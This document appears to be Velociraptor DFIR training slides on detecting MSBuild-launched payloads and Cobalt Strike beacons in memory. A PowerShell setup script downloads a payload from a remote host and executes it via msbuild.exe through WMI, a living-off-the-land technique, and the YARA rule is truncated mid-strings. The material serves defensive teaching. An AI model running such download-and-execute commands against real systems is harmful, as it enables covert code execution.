```yara
rule MSBuild_template {
meta:
description = "MSBuild template. Detects MSBuild variable setup and generic template strings."
strings:
// Target variables in template
$s1 = "byte[] key_code = new byte[" ascii
$s2 = "byte[] buff = new byte[" ascii
// Target Other strings
$s8 = "
" ascii
$s9 = "
---
## MSBuild exercise
A script to prepare exercise data is available here: [msbuild.ps1](/resources/msbuild.ps1)
```powershell
## MSBuild setup
# 0. If server disable prefetch so we generate prefetch artifacts
if ( $(Get-CimInstance -Class CIM_OperatingSystem).Caption -like "*Server*" ) {
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management\PrefetchParameters" /v EnablePrefetcher /t REG_DWORD /d 3 /f
reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Prefetcher" /v MaxPrefetchFiles /t REG_DWORD /d 8192 /f
Enable-MMAgent –OperationAPI -ErrorAction SilentlyContinue
Start-Service Sysmain -ErrorAction SilentlyContinue
}
# 1. Download payload
$Url = "https://present.velocidex.com/resources/kUgJI.TMP"
$dest = "\\127.0.0.1\C$\Windows\Temp\kUgJI.TMP"
Remove-Item -Path $dest -force -ErrorAction SilentlyContinue
Invoke-WebRequest -Uri $Url -OutFile $dest -UseBasicParsing
# 2. Execute payload
Invoke-WmiMethod -ComputerName 127.0.0.1 -Name Create -Class Win32_PROCESS "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\msbuild.exe C:\Windows\Temp\kUgJI.TMP /noconsolelogger"
```
---
## MSBuild Exercise
* Detect payload on disk with a hunt for `Generic.Glob.Yara`
* Add your created yara - [msbuild.yara](/resources/msbuild.yara)
* Use file size bounds for performance 5MB - 5KB large beacon to small shellcode loader.
* Target `C:\Windows\Temp` (or where you dropped the file)
* Select upload file
* Velociraptor enables post processing on uploaded files.
* Can you extract the beacon using xor in VQL?
* We will walk through this one!
* `Generic.Glob.Yara` Parameters
---
## MSBuild: Evidence of execution - prefetch
* Prefetch is a forensic artifact that is available on Windows workstations.
* designed to increase performance by assisting application pre-loading
* provides evidence of execution
* name, execution times and execution count
* Location is `C:\Windows\Prefetch\*.pf`
* Format is `-.pf`
* Hash calculated based on folder path of executable and the
command line options of certain programs (e.g., svchost.exe)
* 1024 prefetch files in Win8+ (only 128 on Win7!)
* Different formats across OS versions.
* E.g Win10 prefetch is now compressed
---
## Windows.Detection. PrefetchHunter
* Available on Velociraptor artifact exchange.
* Allows users to hunt for accessed files by process in prefetch.
* Returned rows include
* accessed file
* prefetch metadata
* Best used to hunt for rare process execution.
---
# Memory artifacts
## Some threats are memory only
---
## Detect Cobalt Strike Beacon
* Run the program inject.exe:
* This program will inject artificial data from Cobalt Strike
samples into other processes The data is not actually executable but
will trigger a hit for memory scanning because it contains common Yara
patterns.
* https://github.com/Velocidex/injector/releases
* Find a host process and provide its PID to the loader.exe
---
## Inject beacon into process
Choose any random process to host our "beacon" sample.
Sample is not actually running
![](../../modules/msbuild_engine/InjectCSBeacon.png)
---
## Search for beacon in memory
* Use `Windows.Detection. Yara.Process` to search process memory for a
yara signature.
* Can upload process memory dumps for matching processes - these can be
opened with windbg
---
## Detecting Cobalt Strike in memory
![](../../modules/msbuild_engine/ProcessYaraResults.png)
---
## Decoding Cobalt Strike Config
* It is very important to identify how Cobalt strike is configured when you detect it
* You can block the Cobalt Strike beacon address at the network perimeter
* Deploy Yara rules to identify the configuration itself.
* Cobalt Strike Config is heavily obfuscated in memory
* Velociraptor can parse memory structures in VQL
---
## Extract configuration data from memory
![](../../modules/msbuild_engine/CSConfig.png)